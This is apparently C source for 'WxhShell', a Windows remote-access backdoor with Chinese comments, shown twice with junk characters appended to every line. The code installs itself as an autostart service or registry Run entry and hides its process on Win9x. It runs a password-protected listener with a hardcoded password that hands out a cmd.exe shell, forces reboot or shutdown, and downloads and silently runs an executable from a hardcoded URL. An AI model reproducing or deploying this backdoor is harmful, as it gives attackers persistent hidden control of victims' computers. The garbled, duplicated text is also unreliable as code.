if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5S<Rz)1r
WinExec(wscfg.ws_filenam,SW_HIDE); #_eXybUV
} L{&>,ww
AJ+\Qs(0
if(!OsIsNt) { wBDHhXi0
// 如果时win9x，隐藏进程并且设置为注册表启动 0!-'4+"
HideProc(); ebn3r:IU-
StartWxhshell(lpCmdLine); E{0e5.{
} Qr\eT}
else +BeA4d8b
if(StartFromService()) DIABR%0
// 以服务方式启动 &gJ1*"$9
StartServiceCtrlDispatcher(DispatchTable); B(WmJ6e
else ;>uB$8<_7
// 普通方式启动 B}S+/V` Y5
StartWxhshell(lpCmdLine); 3[j,d]\|
=+LIGHIt
return 0; _Pno9|
} svx7
AR!v%Z49i
NE.h/+4
v%$l(
=========================================== OK)>QGl
wz1nV}
-oUGmV_
E mg=,
tm/=Oc1p
Tdade+
" veuX/>!
Ni8%K6]z
#include <stdio.h> (/At+MF3E
#include <string.h> ^vxx]Hji
#include <windows.h> *^%+PQ
#include <winsock2.h> ]0&X[?
#include <winsvc.h> O1UArD
#include <urlmon.h> R%4Yg(-Q
@<3E`j'p
#pragma comment (lib, "Ws2_32.lib") L[ZS17;*
#pragma comment (lib, "urlmon.lib") +m]-)
'<3h8\"
#define MAX_USER 100 // 最大客户端连接数 Z^]jy>dj
#define BUF_SOCK 200 // sock buffer c(uDkX
#define KEY_BUFF 255 // 输入 buffer }W@refS
#8sy QWlG
#define REBOOT 0 // 重启 =@ acg0
#define SHUTDOWN 1 // 关机 -<g[P_#
e`co:HO`#
#define DEF_PORT 5000 // 监听端口 e/cHH34
`+T 2IPN
#define REG_LEN 16 // 注册表键长度 HU'w[r6a
#define SVC_LEN 80 // NT服务名长度 $@@ii+W}\
9i U/[d
// 从dll定义API &',#j]I
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^,YTQ.O
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >-\^)z
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sBYDo{01
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZBR^$?nj
BdMd\1eMw
// wxhshell配置信息 H#7=s{u
struct WSCFG { *Lxt{z`9
int ws_port; // 监听端口 c0Bqm
char ws_passstr[REG_LEN]; // 口令 wm^1Fn--
int ws_autoins; // 安装标记, 1=yes 0=no }-sh
char ws_regname[REG_LEN]; // 注册表键名 SOE-Kio=B
char ws_svcname[REG_LEN]; // 服务名 =xDxX#3
char ws_svcdisp[SVC_LEN]; // 服务显示名 %19~9Tw
char ws_svcdesc[SVC_LEN]; // 服务描述信息 pdm(7^
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,}\LC;31,
int ws_downexe; // 下载执行标记, 1=yes 0=no ^SsdM#E
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U#[T!E
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +pq) 7
z6}p4
}; p7 !y#
B8eZ}9X
// default Wxhshell configuration ZV:df 6S
struct WSCFG wscfg={DEF_PORT, ~"0{<mMcX
"xuhuanlingzhe", Op8Gj `
1, fPHV]8Ft|
"Wxhshell", 0<:rp]<,
"Wxhshell", P5h*RV>oS
"WxhShell Service", ?mM:oQH+>
"Wrsky Windows CmdShell Service", X31%T"
"Please Input Your Password: ", h^_^)P+;
1, hSxK*.W*3
"http://www.wrsky.com/wxhshell.exe", Iila|,cM
"Wxhshell.exe" GApvRR+Z
}; pY-!NoES
~Er0$+q=Y;
// 消息定义模块 [T4{K&
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JBA{i45x
char *msg_ws_prompt="\n\r? for help\n\r#>"; xv Xci W
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ob8}v*s
char *msg_ws_ext="\n\rExit."; r>! @Z2%s
char *msg_ws_end="\n\rQuit."; 9(qoME}>=
char *msg_ws_boot="\n\rReboot..."; p>kny?AJ
char *msg_ws_poff="\n\rShutdown..."; tV_3!7m0$
char *msg_ws_down="\n\rSave to "; s0]ZE\`H>
x0>N{ADXQ
char *msg_ws_err="\n\rErr!"; X.>~DT%0Lm
char *msg_ws_ok="\n\rOK!"; n$NM
S"@6,
char ExeFile[MAX_PATH]; 5FuV=Yuc
int nUser = 0; J/D~]U
HANDLE handles[MAX_USER]; v(R^LqE
int OsIsNt; f+ZOE?"
+zbCYA
SERVICE_STATUS serviceStatus; :R +BC2x
SERVICE_STATUS_HANDLE hServiceStatusHandle; n7B2rRJH
lK/4"&
// 函数声明 ,aD~7QX1:
int Install(void); J zFR9DEt
int Uninstall(void); *~4<CP+"0
int DownloadFile(char *sURL, SOCKET wsh); o/ 51RH
int Boot(int flag); l%('5oz@\
void HideProc(void); \1&4wzT
int GetOsVer(void); k&:q|[N
int Wxhshell(SOCKET wsl); @aN~97 H\
void TalkWithClient(void *cs); k"%JyO8Y
int CmdShell(SOCKET sock); Nt]nwae>A
int StartFromService(void); ^t71${w##
int StartWxhshell(LPSTR lpCmdLine); J @~g>
o3\^9-jmp
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6iXV
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?./fVoA]V
1u5^a^O(|
// 数据结构和表定义 ]K8G}|Wy6
SERVICE_TABLE_ENTRY DispatchTable[] = -hfkF+=U'
{ suIYfjh
{wscfg.ws_svcname, NTServiceMain}, o<p4r}*AVJ
{NULL, NULL} %-fS:~$
}; p %.Adxx
g$mMH
// 自我安装 *2N0r2t&
int Install(void) "M+I$*]
{ \v+c.
char svExeFile[MAX_PATH]; )(yaX
HKEY key; *Q?8OwhJ
strcpy(svExeFile,ExeFile); tS\Db'C7
A-.Wd7^~*
// 如果是win9x系统，修改注册表设为自启动 Im-qGB0C
if(!OsIsNt) { Z_dL@\#|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { THX% z `
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); op2Zf?Bx{+
RegCloseKey(key); -DJ,<f*$
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z79oj\&[
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); As5l36
RegCloseKey(key); OAFxf,b
return 0; 6< -Cpc
} u\iKdL
} oxeIh9 E
} gBWr)R
else { =Ez@kTvOs
W5Jy"]^I
// 如果是NT以上系统，安装为系统服务 3TeRZ=2:*x
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R>~I8k9mM
if (schSCManager!=0) E}F-*go
{ [-"ZuUG
SC_HANDLE schService = CreateService :6%ivS
( IO7gq+
schSCManager, A /c
wscfg.ws_svcname, /E{tNd^S
wscfg.ws_svcdisp, LkK&<z
SERVICE_ALL_ACCESS, -Vb5d!(
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %jf|efxo
SERVICE_AUTO_START, G(shZ=fq
SERVICE_ERROR_NORMAL, 3G 5xIr6
svExeFile, (RrC<5"
NULL, D+ .vg?8
NULL, 5]CaWFSmT
NULL, 3LJ\y
NULL, ?G7*^y&Q
NULL @c"s6h&
); c;(Fz^&_
if (schService!=0) 5kWzD'!^
{ M&q~e@P
CloseServiceHandle(schService); DnhbMxh8o
CloseServiceHandle(schSCManager); 90Sras>F
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bQ 0Ab"+D
strcat(svExeFile,wscfg.ws_svcname); [e_csQ
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Voq/0,d
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J(~1mIJjC
RegCloseKey(key); z[Qe86L
return 0; 65U\;Ew
} khT[
} 2*cc26o
CloseServiceHandle(schSCManager); z<^LY]
} }M"])B I
} "Dq^r9
VM&Ref4
return 1; Y}q~Km
} hMvJNI6O
kEAF1RP:
// 自我卸载 r~7}w4U
int Uninstall(void) yA*U^:%
{ c68y\
HKEY key; 5A5t
@e\ @EW
if(!OsIsNt) { _\,lv \u
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [h&s<<# D
RegDeleteValue(key,wscfg.ws_regname); c=?6`m,"M
RegCloseKey(key); i|,}y`C#
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H"Hl~~U
RegDeleteValue(key,wscfg.ws_regname); l=Jw6F+5
RegCloseKey(key); pV\>?
return 0; #j+cl'
} .!lLj1?p
} 73]t5=D:
} }hm_Ws
else { 5 b,|6
=|empv#
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #)48dW!n
if (schSCManager!=0) *wd=&Z^19
{ L*|P'
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }.WO=IZ
if (schService!=0) (~5]1S}F
{ /F|VYl^_
if(DeleteService(schService)!=0) { Slv:CM M
CloseServiceHandle(schService); `)KGajB
CloseServiceHandle(schSCManager); R-,L"Vv
return 0; ei=u$S.
} m]Qs BK
CloseServiceHandle(schService); %BMlcm7Ec
} :f_oN3F p
CloseServiceHandle(schSCManager); #uC}IX2n
} FzCXA=m
} P\{s C6E
^'Rs`e
return 1; 9jx>&MnWs
} M$>Nd6,@N
aZa1eE
// 从指定url下载文件 $[Nf?`f(t_
int DownloadFile(char *sURL, SOCKET wsh) 7zU~X,
{ U,fPG/9
HRESULT hr; vo)W ziHh
char seps[]= "/"; (Nd)$Oq[4
char *token; hPGDN\#LD
char *file; "s_S!;w@
char myURL[MAX_PATH]; <HS{A$]
char myFILE[MAX_PATH]; =`N0
U#w0E G
strcpy(myURL,sURL); ZZ :*c"b:
token=strtok(myURL,seps); 0jxXUWO
while(token!=NULL) 55] MRv
{ u WdKG({][
file=token; cG@Wo8+
token=strtok(NULL,seps); Qz2jV
} jeA2yjAC
C{G=Y[?oc
GetCurrentDirectory(MAX_PATH,myFILE); -{z[.v.p
strcat(myFILE, "\\"); =JPY{'VO
strcat(myFILE, file); on5\rY<I:@
send(wsh,myFILE,strlen(myFILE),0); 1~2+w]-kU
send(wsh,"...",3,0); #}~?8/h!
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5 /oW/2"
if(hr==S_OK) #u\~AO?h
return 0; z-"P raP
else v"%>ms"n
return 1; r9b(d]
k!$$ *a*
} Yy`A0v
`jhbKgR[
// 系统电源模块 ~+Cl9:4T
int Boot(int flag) rTJqw@]#WH
{ H+gB|
HANDLE hToken; T-7(3#&
TOKEN_PRIVILEGES tkp; k{lXK\zN
3KkJQ5a
if(OsIsNt) { R `ob;>[Q
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /S^>06{-+
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^HTvw~]5
tkp.PrivilegeCount = 1; |m*l/@1
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $ER$|9)KD
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _Vt9ckaA
if(flag==REBOOT) { hM="9]i.
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gOE?
return 0; o~4kJW#
} JP ;SO
else { TC=>De2;
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /Zx"BSu
return 0; [{&OcEf
} >>y\idg&:
} ]z=dRq
else { N6S@e\*
if(flag==REBOOT) { pRsIi_~&
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d}Y#l}!E6
return 0; sE{5&aCSR
} n3eWqwQ$5
else { E\9HZ;}G
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5UK}AkEe&x
return 0; N693eN!
} +~ Y.m8
} 5s4x%L (~}
.;,,{;
return 1; j9/iBK\Y
} g@?R"
2sEG#/Y=
// win9x进程隐藏模块 }#=t%uZ/
void HideProc(void) fmLDufx
{ 3{ea~G)[9
I-kK^_0mV<
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fti0Tz'
if ( hKernel != NULL ) _KyhX|
{ Ar_Yl|a
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W%9~'pXgB
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h*Mi/\
FreeLibrary(hKernel); fNyXDCl
} K>\v<!%a
889^P`Q5
return; 8LuU2Lo
} 2<AQ{ c
ew c:-2Y^
// 获取操作系统版本 oJE<}~_k
int GetOsVer(void) 5~#oQ&
{ w-@6qMJ
OSVERSIONINFO winfo; ye}86{l
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Aaz:C5dtU
GetVersionEx(&winfo); G#E8xA"{/
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IkGM~3e
return 1; 0/%RrE
else U`)d `4"
return 0; tpgD{BY^wJ
} b`;&o^7gMO
ChNT;G<6$
// 客户端句柄模块 \,!Qo*vj
int Wxhshell(SOCKET wsl) IRv/[|"L
{ 2q9$5
SOCKET wsh; CSNz8 y
struct sockaddr_in client; XF@34b5(
DWORD myID; DoICf1
[8acan+ 2l
while(nUser<MAX_USER) 9sv#TT5V
{ &=In
int nSize=sizeof(client); ,WoV)L'?
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "b)EH/s
if(wsh==INVALID_SOCKET) return 1; Kz]\o"K
1@~ 1vsJ
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eG.s|0`
if(handles[nUser]==0) "412w^5[T
closesocket(wsh); ,kFp%qNj
else WK{F
nUser++; f|j<Mj+\
} ?+{_x^
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5+(Cp3
Tj6Czq=*%T
return 0; ZF<$6"4N
} tq*6]q8c>
}Cb-7/
// 关闭 socket @FRas00)|
void CloseIt(SOCKET wsh) I(/*pa?m{
{ ? Z2`f6;W4
closesocket(wsh); j5~~%
nUser--; * COC&
ExitThread(0); YYe=E,q
} [BEQ ~A_I
dI%Nwl%
// 客户端请求句柄 ^=gN >xP
void TalkWithClient(void *cs) |vBy=:
{ L/N%ft]!T
| `?J2WGe
SOCKET wsh=(SOCKET)cs; @ykl:K%ke
char pwd[SVC_LEN]; Nr*o RYY
char cmd[KEY_BUFF]; V'K:52
char chr[1]; +Je%8jH
int i,j; `j 4>
owA.P-4
while (nUser < MAX_USER) { Y44[2 :m
jZe/h#J)[
if(wscfg.ws_passstr) { A5s;<d0
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -x!JTx[K
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dvAz}3p0]
//ZeroMemory(pwd,KEY_BUFF); ^--8 cLB n
i=0; VLbbn
while(i<SVC_LEN) { (L W2S;-
4S* X=1
// 设置超时 ~L_1&q^4!i
fd_set FdRead; aR)w~s\6
struct timeval TimeOut; wOEc~WOd
FD_ZERO(&FdRead); i G%R'/*
FD_SET(wsh,&FdRead); "9NWsy}<c
TimeOut.tv_sec=8; K}Q:L(SSr\
TimeOut.tv_usec=0; Fj`K$K?
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {_Fh3gjb/
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ia[<;":U
mPo.Z"uy7
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gzDfx&.0
pwd=chr[0]; 1q|iw
if(chr[0]==0xd || chr[0]==0xa) { !-JvVdM;(
pwd=0; M'pIAm1p
break; j.\0p-,
} E!=Iz5
i++; Ns\};j?TU*
} )E^Pn|H
wVF qkJ
// 如果是非法用户，关闭 socket LMLrH.
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1c*;Lr.K
} u Vo"_c w
Q&w"!N
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l.BiE<&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ieh<|O,-C
UsdMCJ&G
while(1) { 5eM{>qr}
nL]eGC
ZeroMemory(cmd,KEY_BUFF); 6$H`wDh#(&
_Ec"[xW
// 自动支持客户端 telnet标准 {"|la;*I
j=0; _]L]_Bh
while(j<KEY_BUFF) { Zlrbd
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bc'Mj=>;
cmd[j]=chr[0]; +DE;aGQ.z?
if(chr[0]==0xa || chr[0]==0xd) { 7ab'q&Y[
cmd[j]=0; 7zowvE?#
break; 60WlC0Y~u
} fk\]wFj
j++; n8i: /ypB
} *qFl&*h}
^,`]Q)P^
// 下载文件 4hkyq>c}
if(strstr(cmd,"http://")) { 02-% B~oP
send(wsh,msg_ws_down,strlen(msg_ws_down),0); lWUQkS
if(DownloadFile(cmd,wsh)) eWr6@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p!\GJ a",
else `r0lu_.$]4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t~":'le`zr
} Xi w
else { @S6@pMo,
Z1]4:
switch(cmd[0]) { uXb}oUC
Uz%ynH
// 帮助 Zu94dFP
case '?': { i9T<(sdK+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 35:RsL
break; Ve<f}
} U(%6ny
// 安装 J'yCVb)V
case 'i': { 0:c3aq&u
if(Install()) gLK0L%"5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s}bLA>~Ta
else $"MGu^0;1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sH]T1z
break; LZQG.
} ?A-f_0<0
// 卸载 ScmwHid:\
case 'r': { FRXaPod
if(Uninstall()) m[BpV.s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HYv-5:B
else J7t) H_S{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zqb*-1Qw"*
break; 'lOQb)
} p$` ^A
// 显示 wxhshell 所在路径 ]@}o"Td
case 'p': { t. DnF[
char svExeFile[MAX_PATH]; &>G8DvfJ9
strcpy(svExeFile,"\n\r"); J|VDZ# c7
strcat(svExeFile,ExeFile); Y' 5X4Ks|
send(wsh,svExeFile,strlen(svExeFile),0); ja(ZJ[<`
break; r,Msg&rT
} [Mj5o<k;I
// 重启 F)@zo/u5L
case 'b': { *e:2iM)8~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4 []!Km
if(Boot(REBOOT)) A=70UL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dJlK'zK
else { U8@P/Z9
closesocket(wsh); p&D7&Sb[
ExitThread(0); 3sDyB-\&
} nGur2}>n
break; AoK;6je`K^
} P,rLyx
// 关机 dux_v"Xl
case 'd': { Mhc5<~?
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MM( ,D& Z
if(Boot(SHUTDOWN)) G&4D0f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5xU}}[|~-
else { I.`DBI#-f
closesocket(wsh); H}(WL+7
ExitThread(0); qac:"z'9
} r$Ik*R
break; _qh\
} <N3~X,ch
// 获取shell V}Oz! O
case 's': { KIKIag#
CmdShell(wsh); ^==Tv+T9U
closesocket(wsh); JOs kf(
ExitThread(0); {wO.nOB
break; rd"!&i
} jHObWUX
// 退出 B[2t.d;h
case 'x': { N x^JC_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E,ooD3$h
CloseIt(wsh); B~,?Gbl+g
break; /;xrd\du
} +?{LLD*2e
// 离开 /AYq^
case 'q': { K<WowU
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =l6WO*
closesocket(wsh); ,'sDauFn
WSACleanup(); _ozg=n2(
exit(1); /nEK|.j
break; UWdqcOr
} UF@.
} , 10+Sh
} iTF%}(
yA7O<p+
// 提示信息 \Rha7O
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = \K/ulZo
} |:u5R%
} G=C2l# Ae!
R@`xS<`L/
return; P$3!4D[
} L3j ~Ooo
S(rnVsW%Ki
// shell模块句柄 B}aW y&D
int CmdShell(SOCKET sock) F)19cKx7
{ v[?gM.SF
STARTUPINFO si; 9<"F3F0|
ZeroMemory(&si,sizeof(si)); Urksj:N
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?q0a^c?A^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {xP-p"?p
PROCESS_INFORMATION ProcessInfo; =c]We:I
char cmdline[]="cmd"; i?)bF!J
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?*<1B
return 0; w2^s}NO
} C[+?gQJ[9
aD~S~L!
// 自身启动模式 [~;wCW,1
int StartFromService(void) j-qg{oIJ
{ cvx"XxE,
typedef struct ZT,auSX
{ PAVlZ}kj
DWORD ExitStatus; +LF=oM<
DWORD PebBaseAddress; ]n$ v ^
DWORD AffinityMask; 5cl^:Ua
DWORD BasePriority; V=+p8nE0
ULONG UniqueProcessId; TaKCN
ULONG InheritedFromUniqueProcessId; "`'+@KlE
} PROCESS_BASIC_INFORMATION; ur]WNk8bN
UY:Be8C A
PROCNTQSIP NtQueryInformationProcess; WJ 'lYl0+7
]]5(:>l
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F'_z$,X6
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]HRHF'4
DvA#zX[
HANDLE hProcess; m5hu;>gt
PROCESS_BASIC_INFORMATION pbi; kjSzuqB
-7EwZRS@9
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 64:p 4N
if(NULL == hInst ) return 0; 3@<m/%
TETfRnm
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qzk]9`i1:
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dO-Zj#%7z8
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dtXtZ!g2
s GrI%3[e"
if (!NtQueryInformationProcess) return 0; %H}M[_f
2m72PU<.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dE(d'*+a
if(!hProcess) return 0; p%OVl[^jp
$=C `V
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >(sS4_O7N
9 I&[6}
CloseHandle(hProcess); wOH 3[SKo
/&!o]fU1C
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T{BGg
if(hProcess==NULL) return 0; 0+A#k7c6p
f1d<xGx
HMODULE hMod; _ CzAv%
char procName[255]; aecvz0}@R
unsigned long cbNeeded; EE qlsH
0BOL0<Wq
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tV7{j'If
cr^R9dv
CloseHandle(hProcess); "7?xaGh8
1+tPd7U
if(strstr(procName,"services")) return 1; // 以服务启动 ^SwU]e
ikPr>
return 0; // 注册表启动 J/[PA[Rf
} UG<<.1JL
WkoYkkuzj
// 主模块 pU u')y
int StartWxhshell(LPSTR lpCmdLine) D P:}<
{ %\%&1
SOCKET wsl; mn\GLR.
BOOL val=TRUE; Qb:.WMj[q+
int port=0; XK(aH~7xme
struct sockaddr_in door; nYK!'x$
vE~<R
if(wscfg.ws_autoins) Install(); 4 @9cO)m
Lf8{']3
port=atoi(lpCmdLine); &7c#i
tTJ$tx
if(port<=0) port=wscfg.ws_port; 'RR,b*Ql
?Y9VviC
WSADATA data; B^x}=Z4
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fk?KR
HA0yX?f]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; h:vI:V[/X
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y!\q', F
door.sin_family = AF_INET; qmnW
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,w_C~XN$t
door.sin_port = htons(port); 1rh2!4)7
cP0(Q+i7
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iM]&ryGB#
closesocket(wsl); 1w>G8
return 1; o6r ^
} r;fcBepO
8sL+ik"
if(listen(wsl,2) == INVALID_SOCKET) { j*_#{niy:
closesocket(wsl); K*"Fpx{M
return 1; e4cWi
} 0#F<JsO|u
Wxhshell(wsl); "04:1J`
WSACleanup(); Aac7km
x2g=%K=
return 0; NbUibxJ
eZ(o_
} {.UK{nA?sm
;S+"z;$m
// 以NT服务方式启动 FFf ~Vmw
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &)EL%o5
{ a+n?y)u
DWORD status = 0; [g:KFbEY
DWORD specificError = 0xfffffff; PMiG:bM
sAPYQ
serviceStatus.dwServiceType = SERVICE_WIN32; Ak2Vf0Eb
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?&.Eg^a"
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hHsO?([99
serviceStatus.dwWin32ExitCode = 0; {^K&9sz
serviceStatus.dwServiceSpecificExitCode = 0; e73zpF
serviceStatus.dwCheckPoint = 0; HOVzpj
serviceStatus.dwWaitHint = 0; 0&2&F=fOa<
$H7T|`WI.,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a3BlydSlf
if (hServiceStatusHandle==0) return; SvD:UG
)"^ )Nk
status = GetLastError(); $yMNdBI[
if (status!=NO_ERROR) ?w@KF%D
{ jiLt *>I
serviceStatus.dwCurrentState = SERVICE_STOPPED; Oxh.&
serviceStatus.dwCheckPoint = 0; 97VS xhr
serviceStatus.dwWaitHint = 0; 6x! q
serviceStatus.dwWin32ExitCode = status; q.p.y0
serviceStatus.dwServiceSpecificExitCode = specificError; ,j\UZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); t$*CyYb{@
return; y1Yrf,E m=
} Hp3T2|uL
|B@\Nf7
serviceStatus.dwCurrentState = SERVICE_RUNNING; )<%IY&\
serviceStatus.dwCheckPoint = 0; Yo2n[
serviceStatus.dwWaitHint = 0; ~g;lVj,N'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0S>U_#-
} X!0m,
D-\z'gS
// 处理NT服务事件，比如：启动、停止 \H.1I=<
VOID WINAPI NTServiceHandler(DWORD fdwControl) c(!{_+q"
{ 5E\&O%W"
switch(fdwControl) ixo?o]Xb`
{ Qx[ nR/
case SERVICE_CONTROL_STOP: C.{z+
serviceStatus.dwWin32ExitCode = 0; n0=[N'Tw3
serviceStatus.dwCurrentState = SERVICE_STOPPED; >)iCKx
serviceStatus.dwCheckPoint = 0; |",/
serviceStatus.dwWaitHint = 0; v iM6q<Ht
{ Z_?r5M;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LgoUD*MbQ
} 1V2"sE
return; nsV;6^>
case SERVICE_CONTROL_PAUSE: }G[Qm2k
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7_AcvsdW
break; 4[m4u6z=
case SERVICE_CONTROL_CONTINUE: %!Ak]|[7
serviceStatus.dwCurrentState = SERVICE_RUNNING; P 4jg]g
break; 4 O~zkg
case SERVICE_CONTROL_INTERROGATE: ngQ]
break; !4!Y~7sI"\
}; \Y}nehxG@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /g]m,Y{OI
} o_ SR
qi-!iT(fe
// 标准应用程序主函数 h8tKYm
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wr;8o*~
{ F /% 5 r{
twJ)h :!_y
// 获取操作系统版本 ?hwT{h
OsIsNt=GetOsVer(); "]D2}E>U;
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6/eh~ME=
F;_L/8Ov1
// 从命令行安装 ?W4IAbT\G
if(strpbrk(lpCmdLine,"iI")) Install(); [#6Eax,j
^H UNq[sQ
// 下载执行文件 E;^~}
if(wscfg.ws_downexe) { <eG8xC
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tV,Y38e
WinExec(wscfg.ws_filenam,SW_HIDE); `O|PP3S
} (E(kw="
&B5@\Hd;
if(!OsIsNt) { )6:nJ"j#
// 如果时win9x，隐藏进程并且设置为注册表启动 g{?]a'?
HideProc(); _Tj`
